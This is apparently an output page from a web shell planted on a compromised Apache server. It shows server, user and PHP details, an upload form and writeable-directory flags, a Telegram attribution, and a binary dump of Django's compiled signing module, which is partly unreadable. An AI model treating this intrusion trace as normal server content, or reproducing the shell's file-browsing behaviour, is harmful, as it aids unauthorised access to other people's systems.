https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/core/signing.pyc
�
r�\c@skdZddlmZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZm
Z
ddlmZmZmZddlmZd	efd
��YZdefd��YZd
�Zd�Zd�Zdd�Zdefd��YZddeed�Zddedd�Z defd��YZ!de!fd��YZ"dS(u`
Functions for creating and restoring url-safe signed JSON objects.

The format used looks like this:

>>> signing.dumps("hello")
'ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk'

There are two components here, separated by a ':'. The first component is a
URLsafe base64 encoded JSON of the object passed to dumps(). The second
component is a base64 encoded hmac/SHA1 hash of "$first_component:$secret"

signing.loads(s) checks the signature and returns the deserialised object.
If the signature fails, a BadSignature exception is raised.

>>> signing.loads("ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk")
u'hello'
>>> signing.loads("ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk-modified")
...
BadSignature: Signature failed: ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk-modified

You can optionally compress the JSON prior to base64 encoding it to save
space, using the compress=True argument. This checks if compression actually
helps and only applies compression if the result is a shorter string:

>>> signing.dumps(range(1, 20), compress=True)
'.eJwFwcERACAIwLCF-rCiILN47r-GyZVJsNgkxaFxoDgxcOHGxMKD_T7vhAml:1QaUaL:BA0thEZrp4FQVXIXuOvYJtLJSrQ'

The fact that the string is compressed is signalled by the prefixed '.' at the
start of the base64 JSON.

There are 65 url-safe characters: the 64 used by url-safe base64 and the ':'.
These functions make use of all of them.
i����(tunicode_literalsN(tsettings(tbaseconv(tconstant_time_comparetsalted_hmac(tforce_bytest	force_strt
force_text(timport_by_pathtBadSignaturecBseZdZRS(u"
    Signature does not match
    (t__name__t
__module__t__doc__(((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR	2stSignatureExpiredcBseZdZRS(u<
    Signature timestamp is older than required max_age
    (R
RR(((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR
9scCstj|�jd�S(Nt=(tbase64turlsafe_b64encodetstrip(ts((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyt
b64_encode@scCs&dt|�d}tj||�S(NRi(tlenRturlsafe_b64decode(Rtpad((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyt
b64_decodeDscCstt|||�j��S(N(RRtdigest(tsalttvaluetkey((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pytbase64_hmacIsu%django.core.signing.get_cookie_signercCs&ttj�}|dtjd|�S(Nudjango.http.cookiesR(RRtSIGNING_BACKENDt
SECRET_KEY(RtSigner((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pytget_cookie_signerMstJSONSerializercBs eZdZd�Zd�ZRS(uW
    Simple wrapper around json to be used in signing.dumps and
    signing.loads.
    cCstj|dd�jd�S(Nt
separatorsu,u:ulatin-1(u,u:(tjsontdumpstencode(tselftobj((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR$WscCstj|jd��S(Nulatin-1(R#tloadstdecode(R&tdata((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR(Zs(R
RRR$R((((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR!Rs	udjango.core.signingc	Cs�|�j|�}t}|r[tj|�}t|�t|�dkr[|}t}q[nt|�}|rzd|}nt|d|�j|�S(u�
    Returns URL-safe, sha1 signed base64 compressed JSON string. If key is
    None, settings.SECRET_KEY is used instead.

    If compress is True (not the default) checks if compressing using zlib can
    save some space. Prepends a '.' to signify compression. This is included
    in the signature, to protect against zip bombs.

    Salt can be used to namespace the hash, so that a signed string is
    only valid for a given namespace. Leaving this at the default
    value or re-using a salt value across different parts of your
    application without good cause is a security risk.

    The serializer is expected to return a bytestring.
    it.R(	R$tFalsetzlibtcompressRtTrueRtTimestampSignertsign(	R'RRt
serializerR.R*t
is_compressedt
compressedtbase64d((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR$^s
cCs�tt|d|�j|d|��}t}|d dkrP|d}t}nt|�}|rttj|�}n|�j|�S(u}
    Reverse of dumps(), raises BadSignature if signature fails.

    The serializer is expected to accept a bytestring.
    Rtmax_ageiR+(	RR0tunsignR,R/RR-t
decompressR((RRRR2R6R5R8R*((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR(s'
	RcBs5eZdddd�Zd�Zd�Zd�ZRS(u:cCsVt|�|_t|ptj�|_t|pId|jj|jjf�|_dS(Nu%s.%s(	tstrtsepRRRt	__class__RR
R(R&RR:R((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyt__init__�s	cCs&t|jd||j�}t|�S(Nusigner(RRRR(R&Rt	signature((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR=�scCs/t|�}td�||j|j|�fS(Nu%s%s%s(RR9R:R=(R&R((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR1�scCs�t|�}|j|kr1td|j��n|j|jd�\}}t||j|��rnt|�Std|��dS(NuNo "%s" found in valueiuSignature "%s" does not match(RR:R	trsplitRR=R(R&tsigned_valueRtsig((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR7�s
N(R
RtNoneR<R=R1R7(((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR�s		R0cBs&eZd�Zd�Zdd�ZRS(cCstjjttj���S(N(Rtbase62R%tintttime(R&((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyt	timestamp�scCsDt|�}td�||j|j�f}tt|�j|�S(Nu%s%s%s(RR9R:REtsuperR0R1(R&R((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR1�s"cCs�tt|�j|�}|j|jd�\}}tjj|�}|dk	r�t	j	�|}||kr�t
d||f��q�n|S(uk
        Retrieve original value and check it wasn't signed more
        than max_age seconds ago.
        iuSignature age %s > %s secondsN(RFR0R7R>R:RRBR)RARDR
(R&RR6tresultREtage((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR7�sN(R
RRER1RAR7(((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyR0�s		(#Rt
__future__RRR#RDR-tdjango.confRtdjango.utilsRtdjango.utils.cryptoRRtdjango.utils.encodingRRRtdjango.utils.module_loadingRt	ExceptionR	R
RRRR tobjectR!RAR,R$R(RR0(((s5/tmp/pip-install-XxeQeY/django/django/core/signing.pyt<module>"s*			!

https://t.me/AnonymousX5 - 2025